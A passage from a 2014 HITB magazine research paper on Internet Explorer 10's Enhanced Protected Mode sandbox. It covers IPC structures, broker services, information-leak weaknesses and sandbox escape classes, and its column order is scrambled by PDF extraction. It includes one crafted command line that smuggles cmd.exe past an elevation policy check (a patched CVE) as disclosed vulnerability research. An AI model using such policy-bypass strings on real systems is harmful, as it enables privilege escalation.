● IsoScope_<broker_pid_hex>\IsoSpaceV2_ScopeTrusted (Read)
● IsoScope_<broker_pid_hex>\IsoSpaceV2_ScopeLILNAC (Read/Write)
● IsoScope_<broker_pid_hex>\IsoSpaceV2_ScopeUntrusted (Read/Write)
ARTIFACTS
Data communicated or shared between processes are called Artifacts. There are
different types of Artifacts and the following are the identified types of Artifacts so
far (including their unique ID and purpose):
● SharedMemory (0x0B) – Shared data
● IsoMessage (0x0D) – IPC message
● IsoProcess (0x06) – Process information
● IsoThread (0x08) - Thread information
The Artifacts are stored in the shared memory via several layer of structures, these
structures are described in the next sections.
SPACE STRUCTURE
The top level structure of each shared memory is called a Space. A Space contains
multiple Containers with each Container designed to hold a specific type of Artifact.
108 HITB | Issue 10 | january 2014
Size dw dw dd dd dd dd dd dd dd dd dd Container[…] Description
?
?
Unique Space Index
?
Creator process ID
?
?
?
?
?
?
Array of Container
CONTAINER STRUCTURE
A Container is a block of memory that holds an array of ContainerEntry which in turn
contains the actual Artifacts. The following is the structure of a Container, it tracks
which ContainerEntry is available for use:
Offset 00 02 04 08 0C 0E 10 Size dw dw dd dd dw dw ContainerEntry […] Description
Next Available ContainerEntry Index
?
?
?
?
Maximum Number of ContainerEntry
Array of ContainerEntry
There are instances where a ContainerEntry is needed but there is none left available
in the Container. In these cases, an “expansion” Container is created in a separate
shared memory section which is named as follows:
● <original shared memory section name>_<unk_hex>:<unk_hex>_<unk_hex>
CONTAINERENTRY STRUCTURE
Each ContainerEntry acts as a header for the Artifact it holds, wherein it tracks
the type and the reference count of the Artifact. The following is the structure of a
ContainerEntry:
Offset 00 01 02 04 08 Size db db dw dd Varies Description
?
Artifact Type
?
Reference Count
Artifact
ARTIFACT (ISOARTIFACT) STRUCTURE
Finally, each Artifact has a 12 byte metadata described below. The actual Artifact
data is stored starting at offset 0xC of the Artifact structure.
Application Security
Similar to the broker process, the sandboxed process creates a messaging event so
that it can be notified if a message destined to it is available in the shared memory
sections. The messaging event is created in a private namespace with the format
“IsoScope_<broker_pid_hex>\ iso_sm_e_<broker_pid_hex>_<sandboxed_iso_
process_hex>_<iso_integrity_hex>”.
Offset 00 02 04 08 0C 10 14 18 1C 20 24 28 january 2014 | Issue 10 | HITB 109
Application Security
Offset 00 01 02 04 08 0C Size Description
db Artifact Type
db ?
dw ?
dd Unique Artifact ID
dd Creator Process IsoProcess Artifact ID or Destination Process IsoProcess
Artifact ID (if Artifact type is IsoMessage)
Varies (Artifact Data)
SHARED MEMORY (“SPACE”) STRUCTURE ILLUSTRATION
The illustration below shows how the shared memory (Space) structure is laid out:
Artifact ID of the SharedMemory Artifact is passed by the broker process to the
sandboxed process via the “CREADAT” command line switch.
When the sandboxed process loads, it uses the “CREADAT” switch to find the
SharedMemory Artifact and retrieve the IsoCreationProcessData structure. The
IEUserBroker interface is then unmarshalled from the IsoCreationProcessData
structure and will become ready for use in the sandboxed process.
Once the IEUserBroker interface is unmarshalled, code running the sandboxed
process can use the helper function iertutil!CoCreateUserBroker() and similarly
named functions in iertutil.dll to retrieve a pointer to the IEUserBroker interface.
INSTANTIATION OF BROKER COM OBJECTS
The sandboxed process uses the IEUserBoker->BrokerCreateKnownObject() method
to instantiate known/allowed broker COM objects (also known as “Known Broker
Objects”) in the broker process. These Known Broker Objects (2.6.2) are listed in the
Services section.
2.6 SERVICES
In this paper, the term service refers to any functionality exposed by the broker
process that is reachable or callable from the sandboxed process. These services
are typically code that needs to be executed in a higherprivileged level or code that
needs to be executed in the context of the frame/broker process. An example service
is IEUserBroker->WinExec(), a functionality exposed by the User Broker Object that
is used by IE Shims to launch an elevated process.
SENDING A MESSAGE
Sending a message involves a source process allocating an IsoMessage Artifact in
the shared memory. The destination process is then notified that an IsoMessage is
available in the shared memory by setting the messaging event.
The sandboxed IE process uses the User Broker Object to perform privileged operations
such as launching elevated processes/COM servers and instantiating known/allowed
COM broker objects. As mentioned in the COM IPC section, the sandboxed process
uses the iertutil!CoCreateUserBroker() and similarly named functions to retrieve an
IEUserBroker interface pointer.
The COM class that implements the User Broker Object is the
ieframe!CIEUserBrokerObject class. The following are the services exposed by
the User Broker Object including the available interfaces and their corresponding
methods:
2.5.2 COM IPC
Interface COM IPC is the second IPC mechanism used by IE. It is used by the sandboxed process
to call the services exposed by COM objects in the broker process. One example of a
COM object in the broker process is the User Broker Object (2.6.1) which handles the
launch-type APIs forwarded by IE Shims (2.3).
INITIALIZATION/BOOTSTRAPPING
To bootstrap the COM IPC, the broker process first marshals the IEUserBroker interface
of the User Broker Object. The marshaled interface is stored in a structure called
IsoCreationProcessData which, thru the shared memory IPC mechanism (2.5.1), is
shared with the sandboxed process by storing it in a SharedMemory Artifact. The
110 HITB | Issue 10 | january 2014
Method IID_IEUserBroker
Initialize()
{1AC7516E-E6BB-4A69-B63F-E841904DC5A6}
Notes
Returns the PID of the broker process.
CreateProcessW()Invoke CreateProcessW()
in the context of the broker
process as dictated by
the elevation policies.
Handles forwarded
CreateProcessW() calls from
IE Shims.
Application Security
RECEIVING A MESSAGE
When the destination process is notified via the messaging event, the function ie
rtutil!CIsoSpaceMsg::MessageReceivedCallback() is invoked. iertutil!CIsoSpaceMsg
::MessageReceivedCallback() then looks for an IsoMessage Artifact in the Spaces.
All IsoMessage Artifacts destined to the process are dispatched to the appropriate
handlers by posting a message to a thread’s message queue.
2.6.1 User Broker Object Services
january 2014 | Issue 10 | HITB 111
Application Security
Interface Method Notes
WinExec()Invoke WinExec() in the
context of the broker process
as dictated by the elevation
policies. Handles forwarded
WinExec() calls from IE Shims.
BrokerCreateKnownObject()Instantiate a “Known Broker
Object” (2.6.2).
BrokerCoCreateInstance()Invoke CoCreateInstance()
in the context of the broker
process as dictated by
the elevation policies.
Handles forwarded
CoCreateInstance() calls
from IE Shims.
BrokerCoCreateInstanceEx()Invoke CoCreateInstanceEx()
in the context of the broker
process as dictated by
the elevation policies.
Handles forwarded
CoCreateInstanceEx() calls
from IE Shims.
BrokerCoGetClassObject()Invoke CoGetClassObject()
in the context of the broker
process as dictated by
the elevation policies.
Handles forwarded
CoGetClassObject() calls
from IE Shims.
IID_IERegHelperBroker
DoDelSingleValue()
{41DC24D8-6B81-41C4-832C-FE172CB3A582}
Delete known/allowed registry key value.
DoDelIndexedValue()Delete known/allowed
registry key value.
DoSetSingleValue()Set data of a known/allowed
registry key value.
DoSetIndexedValue()Set data of a known/allowed
registry key value.
DoCreateKey()Create a known/allowed
registry key.
IID_IEAxInstallBrokerBroker
BrokerGetAxInstallBroker()Instantiate “Internet {B2103BDB-B79E-4474-8424-4363161118D5}
Explorer Add-on Installer”
COM object which causes
the launching of the
“%ProgramFiles%\Internet
Explorer\ieinstal.exe” COM
server.
2.6.2 Known Broker Objects Services
As previously mentioned, the IEUserBroker->CreateKnownBrokerObject() service
allows the sandboxed process to instantiate known/allowed COM objects in the
broker process. These known/allowed COM objects provide additional services to
the sandboxed process and are listed on facing page:
ieframe!CShdocvwBroker
IID_IShdocvwBroker
Interface has large {A9968B49-EAF5-4B73-AA93-
number broker process.
CLSID_ShdocvwBroker
A25042FCD67A}
of services called by
{9C7A1728-B694-427A-94A2-A1B2C60F0360}various parts of the
sandboxed code. An example
service is the service that
handles the forwarded
kernel32!CreateFileW() API
by IE Shims and displaying the
Internet Options dialog box.
IID_IEBrokerAttachMethod:
{7673B35E-907A-449D-A49F
AttachIEFrameToBroker()
E5CE47F0B0B2}
IID_IHTMLWindowMethods: Blur(), Focus(),
ServicesBroker
BlurBrowser(),
{806D58DF-EE78-4630-9475-
FocusBrowser()
F9B337A2DFCB}
IID_ILoriEvents
“Microsoft Feeds LoRi
{07AB1E58-91A0-450F-B4A5-
Broker”
CLSID_FeedsLoriBrokerA4C775E67359}
msfeeds!CLoriBroker
{A7C922A0-A197-4AE4-8FCD-2236BB4CF515}
msfeeds!CArbiterBroker
IID_IArbiterBroker
“Microsoft Feeds Arbiter
{EDB9EF13-045C-4C0A-808E-
LoRi Broker”
CLSID_FeedsArbiterLoRiBroker3294C59703B4}
{34E6ABFE-E9F4-4DDF-895A-7350E198F26E}
ieframe!CProtectedModeAPI
IID_IProtectedModeAPI
Handles the following
{3853EAB3-ADB3-4BE8-9C96-
Protected Mode API
CLSID_CProtectedModeAPI
C883B98E76AD}
functions [24]
{ED72F0D2-B701-4C53-ADC3-F2FB59946DD8}
IEShowSaveFileDialog(),
IESaveFile(),
CLSID_CProtectedModeAPINoFrameAffinity
IERegCreateKeyEx(), and
{8C537469-1EA9-4C85-9947-7E418500CDD4}
IERegSetValueEx()
IID_IEBrokerAttachMethod:
{7673B35E-907A-449D-A49F
AttachIEFrameToBroker()
E5CE47F0B0B2}
IID_ISettingsBroker
“Internet Explorer
{EA77E0BC-3CE7-4CC1-928F-
Settings Broker”
CLSID_CSettingsBroker6F50A0CE5487}
iertutil!SettingStore::CSettingsBroker
{C6CC0D21-895D-49CC-98F1-D208CD71E047}
ieframe!CRecoveryStore
IID_IRecoveryStore
{A0CEE1E8-9548-425D-83E3-
CLSID_IERecoveryStore
A47E69F39D30}
{10BCEB99-FAAC-4080-B2FA-D07CD671EEF2}
“IE Recovery Store”.
This particular interface
has a number of
services.
IID_ICookieJarRecoveryDataMethods: SetCookie(),
{8FD276BB-5A9D-4FC0-B0BD-
SetCookiesFromBlob(),
90FA7CF1283D}
DeleteCookie(),
EnumCookies(),
ClearCookies()
IID_ICredentialRecoveryDataMethods: SetCredential(),
{239D58CC-793C-4B64-8320-
SetCredentialFromBlob(),
B51380087C0B}
EnumCredentials(),
ClearCredentials()
wininet!WininetBroker
IID_IWininetBroker
{B06B0CE5-689B-4AFD-B326CLSID_WininetBroker0A08A1A647AF}
{C39EE728-D419-4BD4-A3EF-EDA059DBD935}
112 HITB | Issue 10 | january 2014
Methods/Description/
Notes (if any)
Application Security
COM Class and CLSID(s) Interface “WinInetBroker Class”
january 2014 | Issue 10 | HITB 113
Application Security
2.6.3 Broker Components Message Handlers
3.1 SANDBOX LIMITATIONS/WEAKNESSES
Finally, another set of broker functionality that are reachable or callable from the
sandboxed process are the message handlers of broker components. These message
handlers are invoked when inter-process messages via the shared memory IPC are
received. Examples of broker component message handlers are:
This section lists the limitations or weaknesses of the EPM sandbox. It answers the
important question “what can malicious code still do or access once it is running
inside the sandboxed process?” The most likely reason for the existence of some of
these limitations/weaknesses is because of compatibility reasons or that addressing
them would require significant development effort. Nonetheless, the items discussed
here are current limitations/weaknesses, future patches or EPM improvements may
address some, if not all of them.
● ieframe!CBrowserFrame::_Handle*()
● ieframe!CDownloadManager::HandleDownloadMessage()
Typically, message handlers will directly or indirectly invoke iertutil!IsoGetMessage
BufferAddress() to retrieve the IsoMessage Artifact and then parse/use it according
to an expected format.
2.7 SUMMARY: SANDBOX INTERNALS
The first part of this paper described in details the different mechanisms that
make up the EPM sandbox. First discussed is the overall sandbox architecture which
described in a high level each sandbox mechanism and how they are interconnected.
3.1.1 File System Access
In a default Windows 8 install, the sandboxed process can still read files from the
following folders because of the read access control entry for ALL APPLICATION
PACKAGES:
● %ProgramFiles% (C:\Program Files)
● %ProgramFiles(x86)% (C:\Program Files (x86))
● %SystemRoot% (C:\Windows)
A new process isolation mechanism introduced in Windows 8, called AppContainer, is
the main mechanism used by EPM to isolate and limit the privileges and capabilities
of the sandboxed process.
The reason for the read access control entry for ALL APPLICATION PACKAGES for the
above common/system folders is for compatibility [25] with Windows Store Apps
which also run in an AppContainer.
Through API hooking, the IE Shims (Compatibility Layer) mechanism enables binary
extensions to work on a lowprivileged environment by redirecting operations to
writable locations, it is also used for forwarding API calls to the broker in order to
support certain functionalities, furthermore, it is also the mechanism used to apply
elevation policies to operations that would result in the launching of a process or a
COM server.
The consequence of the read access to the above folders is that the sandboxed
code can list installed applications in the system - information which can be used
for future attacks. Additionally, configuration files or license keys used by 3rd party
application (both of which may contain sensitive information) can be stolen if they
are stored in the above folders.
Finally, the broker processes exposes several services which are callable from the
sandboxed process via the IPC mechanisms. The services are typically code that
needs to run in a higher-privilege level or code that needs to run in the context of the
frame/broker process.
3. SANDBOX SECURITY
After discussing how the EPM sandbox works, in this second part of the paper, we’ll
take a look at the security aspect of the EPM sandbox. This part is divided into
two sections – the first section discusses the limitations or weaknesses of the EPM
sandbox, and the second section discusses the different ways how code running in
the sandboxed process can gain additional privileges or achieve code execution in a
more privileged context.
114 HITB | Issue 10 | january 2014
Additionally, EPM uses the following AppContainer-specific folders to store EPM
cache files and cookies:
● %UserProfile%\AppData\Local\Packages\<AppContainer Name>\AC\InetCache
● %UserProfile%\AppData\Local\Packages\<AppContainer Name>\AC\InetCookies
Since the AppContainer process has full access to the above folders, the sandboxed code
will be able to read potentially sensitive information, especially from cookies which
may contain authentication information to websites. Note that EPM uses a separate
AppContainer when browsing private network sites (i.e. when private network access
is turned on), therefore, cookies and cache files for private network sites will be stored
in a different AppContainer-specific location. Also, cookies and cache files for sites
visited with EPM turned off are also stored in a different location [26].
Finally, the sandboxed code can take advantage of its read/write access to
%UserProfile\Favorites (due to the access control entry for the internetExplorer
capability), whereby, it can potentially modify all shortcut files so that they will
point to an attacker-controlled site.
Application Security
For inter-process communication, the sandboxed and the broker process use two
types of IPC mechanism to communicate – COM IPC which is used by the sandboxed
process to perform calls to COM objects in the broker process, and shared memory
IPC which is used by components of the sandboxed process and the broker process to
exchange inter-process messages and to share data.
january 2014 | Issue 10 | HITB 115
Application Security
3.1.2 Registry Access
Most of the subkeys in the following top-level registry keys can still be read by the
sandboxed process because of the read access control entry for ALL APPLICATION
PACKAGES:
● HKEY_CLASSES_ROOT
● HKEY_LOCAL_MACHINE
● HKEY_CURRENT_CONFIG
Similar to the common/system folders, the reason for the read access control entry
for ALL APPLICATION PACKAGES for most of the subkeys of the above common/system
keys is for compatibility with Windows Store Apps.
The consequence of the read access to subkeys of the above keys is that the sandboxed
process will be able to retrieve system and general application configuration/data
which may contain sensitive information or may be used in future attacks. Example
of such registry keys are:
●H
KLM\Software\Microsoft\Internet Explorer\Low Rights\ElevationPolicy (IE
Elevation Policies)
●H
KLM\Software\Microsoft\Windows NT\CurrentVersion (Registered Owner,
Registered Organization, etc.)
Furthermore, there are also several user-specific configuration/information
contained in the subkeys of HKEY_CURRENT_USER which are still readable from the
sandboxed process. Read access to these subkeys is due to the read access control
entry for ALL APPLICATION PACKAGES or the internetExplorer capability. Examples
of these registry keys are:
● Readable via the internetExplorer capability access control entry:
◆ HKCU\Software\Microsoft\Internet Explorer\TypedURLs (Typed URLs in IE)
Access to user-specific locations in the registry (HKCU) and the file system
(%UserProfile%) could potentially be further locked down by EPM using a restricted
token. However, it would mean that access to resources that the EPM-sandboxed
process normally has direct access to (such as AppContainer-specific locations and
those have an access control entry for the internetExplorer capability) would need
to be brokered.
3.1.3 Clipboard Access
Because clipboard read/write restrictions are not set in the job object associated to
the sandboxed process, the sandboxed process can still read from and write to the
clipboard. Additionally, as discussed in the Sandbox Restrictions section, EPM does
116 HITB | Issue 10 | january 2014
A caveat, however, is that the AppContainer process should be the process that is
currently actively receiving keyboard input, otherwise, user32!OpenClipboard()
will fail with an access denied error. One way for this to happen is to coerce the
user to press a key while a window or control owned by the AppContainer process
is focused.
Nonetheless, because the sandboxed process still has access to the clipboard, the
sandboxed process will be able to read potentially sensitive information from the
clipboard (such as passwords – if the user uses an insecure password manager that
does not regularly clear the clipboard). Moreover, clipboard write access can lead to
arbitrary command execution if malicious clipboard content is inadvertently pasted
to a command prompt. Also, if a higher-integrity application fully trusts and uses
the malicious clipboard content, its behavior can be controlled, potentially leading
to a sandbox escape - these are described by Tom Keetch in the paper “Practical
Sandboxing on the Windows Platform” [12].
3.1.4 Screen Scraping and Screen Capture
Another information disclosure attack that can still be performed by the sandboxed
process is screen scraping [27]. Because EPM does not support desktop isolation
and the UILIMIT_HANDLE restriction is not set in the job object associated to the
sandboxed process, the sandboxed process can still send messages that are not
blocked by UIPI to windows owned by other processes. By sending allowed query
messages such as WM_GETTEXT, the sandboxed process will be able to capture
information from windows or controls of other applications.
Additionally, another interesting information disclosure attack that is possible is
performing a screen capture. The resulting screen capture data may also contain
potentially sensitive information or information that can be used in future attacks,
such as what applications the user usually uses (via pinned programs in the taskbar)
or what security software is running (via the tray icons), etc.
3.1.5 Network Access
Finally, because of the internetClient capability, the sandboxed process can still
connect to Internet and public network endpoints. This allows malicious code running
in the sandboxed process to communicate and send stolen information to a remote
attacker. Additionally, this capability can be leveraged by a remote attacker in
order to use the affected system to connect or attack other Internet/public network
endpoints, thereby concealing the real source of the connection or the attack.
3.2 SANDBOX ESCAPE
After discussing the limitations and weaknesses of the EPM sandbox, we will now
take a look at ways how code running in the sandboxed process could gain additional
privileges which would otherwise be limited by the sandbox. This section attempts
to answer the question “how might malicious code escape the EPM sandbox?”
Application Security
● Readable via the ALL APPLICATION PACKAGES access control entry:
◆ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
(Run command MRU)
◆ HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs
(Recent Items)
not support window station isolation, therefore, the sandboxed process shares the
clipboard with other processes that are associated to the same window station.
january 2014 | Issue 10 | HITB 117
Application Security
3.2.1 Local Elevation of Privilege (EOP) Vulnerabilities
A common escape vector among sandbox implementations is to elevate privileges
by exploiting Local Elevation of Privilege (EoP) vulnerabilities. Exploiting local
EoP vulnerabilities, especially those that can result in arbitrary code execution in
kernel mode are an ideal way to bypass all the restrictions set on the sandboxed
code. With multiple kernel attack vectors [28] such as system calls, parsers and
device objects which are available to a sandboxed code, we can expect that local
EoP vulnerabilities will become more valuable as more and more widely-deployed
applications are being sandboxed.
A recent example of using a kernel mode vulnerability to escape a browser sandbox
is CVE-2013-1300 [29], a vulnerability in Win32k that Jon Butler and Nils discovered
and used to escape the Google Chrome sandbox in Pwn2Own 2013.
3.2.2 Policy Vulnerabilities
Policy vulnerabilities involve permissive policies that can be leveraged by the sandboxed
process to control the behavior of a higher-privileged process or policies that could
result in the execution of arbitrary code in a higherprivilege level. This can include
permissive write-allowed policies to resources that are also used by higherprivileged
processes. For IE, this also includes elevation policies that can possibly be leveraged
by the sandboxed process to execute arbitrary code in a privileged context.
An example policy vulnerability in IE is CVE-2013-3186 [30], a vulnerability discovered
by Fermin Serna which involves an elevation policy that allows the execution of
msdt.exe in medium integrity without prompt. The issue is that there are certain
arguments that can be passed to msdt.exe that would result in the execution of
arbitrary scripts at medium integrity.
3.2.3 Policy Check Vulnerabilities
C:\Windows\System32\cmd.exe\t\..\notepad.exe /c calc.exe
In the above case, ieframe!GetSanitizedParametersFromNonQuotedCmdLi
ne() will treat the string “C:\Windows\System32\cmd.exe\t\..\notepad.exe”
(normalized to “C:\Windows\System32\notepad.exe”) as the application name,
and the string “/c calc.exe” as the argument. Because of a default elevation policy,
the executable “C:\Windows\System32\notepad.exe” is allowed to execute
in medium integrity without prompt, thus, the application name will pass the
elevation policy check and the command line is passed to the kernel32!WinExec()
API by the User Broker Object.
However, when the command line is executed by kernel32!WinExec(), instead of
spawning Notepad, the actual application that will be executed will be “C:\Windows\
System32\cmd.exe” with the argument “\..\notepad.exe /c calc.exe”. We reported
this vulnerability to Microsoft and it was patched last July 2013 (MS13-055) [32].
Another example of a policy check vulnerability in another sandbox implementation
is CVE-2011-1353 [33], a vulnerability that Paul Sabanal and I discovered (and also
independently discovered by Zhenhua Liu) in the policy engine of the Adobe Reader X
sandbox [34]. The vulnerability is due to lack of canonicalization of a resource name
when evaluating registry deny-access policies. By using a registry resource name
that contains additional backslashes, it is possible to bypass the registry-deny policy
check, thereby, allowing a sandboxed code to write to a critical registry key.
3.2.4 Service Vulnerabilities
The services exposed by higher-privileged processes make up a large part of the
attack surface in a sandbox implementation, including IE. To support features or
functionality that needs to be executed in a higher-privilege level, the broker process
or another process running with a higher-privilege level would need to implement
those capabilities and expose them to the sandboxed process as services. From
a developer’s perspective, writing the code of these services requires additional
precautions since they run in the context of a higher-privileged process and uses
untrusted data as input.
In the course of my research for this paper, I discovered a policy check vulnerability
in IE (CVE-2013-4015) [31] which allows execution of any executable in medium
integrity without prompt. Specifically, the vulnerability exists in ieframe!GetSan
itizedParametersFromNonQuotedCmdLine(), a helper function used (directly and
indirectly) by the User Broker Object to parse a non-quoted command line into its
application name and argument components, and the result of which are eventually
used in an elevation policy check.
A notable example of a service vulnerability in another sandbox implementation is
CVE-2013-0641 [35], a Reader sandbox vulnerability that was leveraged by the first
in-the-wild Reader sandbox escape exploit. The vulnerability is in the service that
handles the execution of user32!GetClipboardFormatNameW() in the context of the
broker process. Because of an incorrect output buffer size being passed to the API,
a buffer overflow can be triggered in the broker process by the sandboxed process.
By overwriting a virtual function table pointer, the exploit was able to control the
execution flow of the broker process, eventually leading to the execution of an
attacker-controlled code in the higher-privileged broker process.
By using a whitespace other than the space character to delimit an application name
and its arguments, ieframe!GetSanitizedParametersFromNonQuotedCmdLine() will
be misled to extract an incorrect application name.
Two more examples of a service vulnerability are CVE-2012-0724 and CVE-2012-0725
[33], two vulnerabilities that Paul Sabanal and I discovered (and also independently
discovered by Fermin Serna) in the Chrome Flash sandbox. The vulnerabilities were
118 HITB | Issue 10 | january 2014
Application Security
Because the elevation policy checks in IE determine how executables will run (e.g.
with prompt or without prompt) and at what privilege level, weaknesses, particularly
logic vulnerabilities that lead to an incorrect policy check result is a vector for sandbox
escape. Typically, these policy check logic vulnerabilities are easier to exploit than
memory corruption vulnerabilities since exploiting them will just involve evading
the policy checks via specially formed resource names, execution of the privileged
operation such as spawning a given executable or writing to a privileged resource
will be done by the broker using its own code.
Consider the following command line:
january 2014 | Issue 10 | HITB 119
Application Security
due to services in a broker process fully trusting a pointer they received from the
sandboxed process. Because the attacker-controlled pointer is dereferenced for a
function call, execution flow of the broker process can be controlled and arbitrary
code execution in the higher-privileged broker process can be achieved.
As discussed and listed in the Services section (2.6), there are numerous services
exposed to the IE sandboxed process. From an attacker’s perspective, these exposed
services are potential opportunities for sandbox escape and therefore, we can expect
attackers will be (or currently are) auditing these services for vulnerabilities. We can
anticipate that in the future, additional services would be exposed to the sandboxed
process in order to accommodate new browser features and functionality.
3.3 SUMMARY: SANDBOX SECURITY
In terms of limitations or weakness, there are still some of types of potentially
sensitive or personal information that can be accessed from the file system and
the registry because of how the access control list of certain folders and registry
keys are setup. EPM browser cookies and cache files stored in the AppContainerspecific folder which also contains sensitive information can also be accessed.
Additionally, EPM currently does not protect against screen scraping, screen
capture and clipboard access. Finally, because the sandboxed process can still
connect to Internet and pubic network endpoints, stolen information can be sent
to a remote attacker.
In terms of sandbox escape, there are multiple options for an attacker to gain
code execution in a more privileged context. Ranging from generic attacks such
as exploiting local elevation of privilege vulnerabilities to taking advantage of the
sandbox mechanisms such as evading policy checks, taking advantage of policy
issues, and attacking the services exposed by the broker process.
4. CONCLUSION
Also, the new AppContainer process isolation mechanism is a great addition to Windows
8 as it gives vendors an additional option in developing sandboxed applications. For
security researchers, AppContainer is an interesting feature to further look at as
there are certainly more isolation/restriction schemes that it provides than what are
listed in this paper.
Finally, I hope this paper had helped you, the reader, understand the inner workings
of IE10’s Enhanced Protected Mode sandbox. ¶
120 HITB | Issue 10 | january 2014
1. M. Silbey and P. Brundrett, "MSDN: Understanding and Working in Protected Mode Internet
Explorer," [Online]. Available: http://msdn.microsoft.com/en-us/library/bb250462(v=vs.85).aspx.
2. T. Keetch, "Escaping from Protected Mode Internet Explorer," [Online]. Available: http://archive.
hack.lu/2010/Keetch-Escaping-from-Protected-Mode-Internet-Explorer-slides.ppt.
3. J. Drake, P. Mehta, C. Miller, S. Moyer, R. Smith and C. Valasek, "Browser Security
Comparison - A Quantitative Approach," [Online]. Available: http://files.accuvant.com/web/files/
AccuvantBrowserSecCompar_FINAL.pdf.
4. A. Zeigler, "Enhanced Protected Mode," [Online]. Available: http://blogs.msdn.com/b/ie/
archive/2012/03/14/enhanced-protected-mode.aspx.
5. A. Zeigler, "IE8 and Loosely-Coupled IE (LCIE)," [Online]. Available: http://blogs.msdn.com/b/ie/
archive/2008/03/11/ie8-and-loosely-coupled-ie-lcie.aspx.
6. Ollie, "Windows 8 App Container Security Notes - Part 1," [Online]. Available: http://recxltd.
blogspot.com/2012/03/windows-8-app-container-security-notes.html.
7. A. Ionescu, "Windows 8 Security and ARM," [Online]. Available: https://ruxconbreakpoint.com/
assets/Uploads/bpx/alex-breakpoint2012.pdf.
8. A. Allievi, "Securing Microsoft Windows 8: AppContainers," [Online]. Available: http://news.
saferbytes.it/analisi/2013/07/securing-microsoft-windows-8-appcontainers/.
9. S. Renaud and K. Szkudlapski, "Windows RunTime," [Online]. Available: http://www.quarkslab.
com/dl/2012- HITB-WinRT.pdf.
10. Microsoft, "MSDN: App capability declarations (Windows Store apps)," [Online]. Available:
http://msdn.microsoft.com/en-us/library/windows/apps/hh464936.aspx.
11. Microsoft, "MSDN: SECURITY_CAPABILITIES Structure," [Online]. Available: http://msdn.
microsoft.com/enus/ library/windows/desktop/hh448531(v=vs.85).aspx.
12. T. Keetch, "Practical Sandboxing on the Windows Platform," [Online]. Available: http://www.
tkeetch.co.uk/slides/HackInParis_2011_Keetch_-_Practical_Sandboxing.ppt.
13. T. Mandt, "Smashing the Atom: Extraordinary String Based Attacks," [Online]. Available: www.
azimuthsecurity.com/resources/recon2012_mandt.pptx.
14. Microsoft, "MSDN: Windows Integrity Mechanism Design," [Online]. Available: http://msdn.
microsoft.com/en-us/library/bb625963.aspx.
15. E. Barbosa, "Windows Vista UIPI (User Interface Privilege Isolation)," [Online]. Available:
http://www.coseinc.com/en/index.php?rt=download&act=publication&file=Vista_UIPI.ppt.pdf.
16. Wikipedia, "Shatter attack," [Online]. Available: http://en.wikipedia.org/wiki/Shatter_attack.
17. Microsoft, "MSDN: How to set network capabilities," [Online]. Available: http://msdn.microsoft.
com/enus/ library/windows/apps/hh770532.aspx.
18. The Chromium Authors, "The Chromium Projects - Sandbox," [Online]. Available: http://www.
chromium.org/developers/design-documents/sandbox.
19. D. LeBlanc, "Practical Windows Sandboxing, Part 2," [Online]. Available: http://blogs.msdn.
com/b/david_leblanc/archive/2007/07/30/practical-windows-sandboxing-part-2.aspx.
20. D. LeBlanc, "Practical Windows Sandboxing – Part 3," [Online]. Available: http://blogs.msdn.
com/b/david_leblanc/archive/2007/07/31/practical-windows-sandboxing-part-3.aspx.
21. D. LeBlanc, "Practical Windows Sandboxing – Part 1," [Online]. Available: http://blogs.msdn.
com/b/david_leblanc/archive/2007/07/27/practical-windows-sandboxing-part-1.aspx.
22. E. Lawrence, "Brain Dump: Shims, Detours, and other “magic”," [Online]. Available: http://
blogs.msdn.com/b/ieinternals/archive/2012/07/31/internet-explorer-compatibility-detoursshimsvirtualization- for-toolbars-activex-bhos-and-other-native-extensions.aspx.
23. E. Lawrence, "Enhanced Protected Mode and Local Files," [Online]. Available: http://blogs.
msdn.com/b/ieinternals/archive/2012/06/20/loading-local-files-in-enhanced-protected-modeininternet- explorer-10.aspx.
24. Microsoft, "MSDN: Protected Mode Windows Internet Explorer Reference," [Online]. Available:
http://msdn.microsoft.com/en-us/library/ms537312(v=vs.85).aspx.
25. Microsoft, "Win8: App: Modern: Apps fail to start if default registry or file permissions
modified," [Online]. Available: http://support.microsoft.com/kb/2798317.
26. E. Lawrence, "Understanding Enhanced Protected Mode," [Online]. Available: http://blogs.
msdn.com/b/ieinternals/archive/2012/03/23/understanding-ie10-enhanced-protectedmodenetwork- security-addons-cookies-metro-desktop.aspx.
27. Wikipedia, "Data scraping - Screen scraping," [Online]. Available: http://en.wikipedia.org/wiki/
Data_scraping#Screen_scraping.
28. T. Ormandy and J. Tinnes, "There's a party at Ring0, and you're invited," [Online]. Available:
http://www.cr0.org/paper/to-jt-party-at-ring0.pdf.
29. J. Butler and Nils, "MWR Labs Pwn2Own 2013 Write-up – Kernel Exploit," [Online]. Available: https://
labs.mwrinfosecurity.com/blog/2013/09/06/mwr-labs-pwn2own-2013-write-up---kernel-exploit/.
Application Security
Enhanced Protected Mode is a welcome incremental step done by Microsoft in
improving IE’s sandbox. Its use of the new AppContainer process isolation mechanism
will certainly help in preventing theft of personal user files and corporate assets from
the network. However, as discussed in this paper, there are still some limitations or
weaknesses in the EPM sandbox that can lead to the exfiltration of some other types of
potentially sensitive or personal information and there are still some improvements
that can be done to prevent the attacks described in this paper.
Bibliography
january 2014 | Issue 10 | HITB 121
Application Security
30. F. Serna, "CVE-2013-3186 - The case of a one click sandbox escape on IE," [Online].
Available: http://zhodiac.hispahack.com/index.php?section=blog&month=8&year=2013.
31. IBM Corporation, "Microsoft Internet Explorer Sandbox Bypass," [Online]. Available: http://
www.iss.net/threats/473.html.
32. Microsoft, "Microsoft Security Bulletin MS13-055 - Critical," [Online]. Available: https://technet.
microsoft.com/en-us/security/bulletin/ms13-055.
33. P. Sabanal and M. V. Yason, "Digging Deep Into The Flash Sandboxes," [Online]. Available:
https://media.blackhat.com/bh-us-12/Briefings/Sabanal/BH_US_12_Sabanal_Digging_Deep_
WP.pdf.
34. P. Sabanal and M. V. Yason, "Playing In The Reader X Sandbox," [Online]. Available: https://
media.blackhat.com/bh-us-11/Sabanal/BH_US_11_SabanalYason_Readerx_WP.pdf.
35. M. V. Yason, "A Buffer Overflow and Two Sandbox Escapes," [Online]. Available: http://
securityintelligence.com/a-buffer-overflow-and-two-sandbox-escapes/.
test drive a mac.
ask us how
[ i ] store
122 HITB | Issue 10 | january 2014
by C-Zone
Lot 2.07, 2nd floor Digital Mall, SS14, Petaling Jaya T - 603.7954.8841 F - 603.7954.8841
James Forshaw, [email protected]
124 HITB | Issue 10 | january 2014
Introduction
There are a number of XML uses which would benefit from a mechanism of
cryptographically signing content. For example, Simple Object Access Protocol
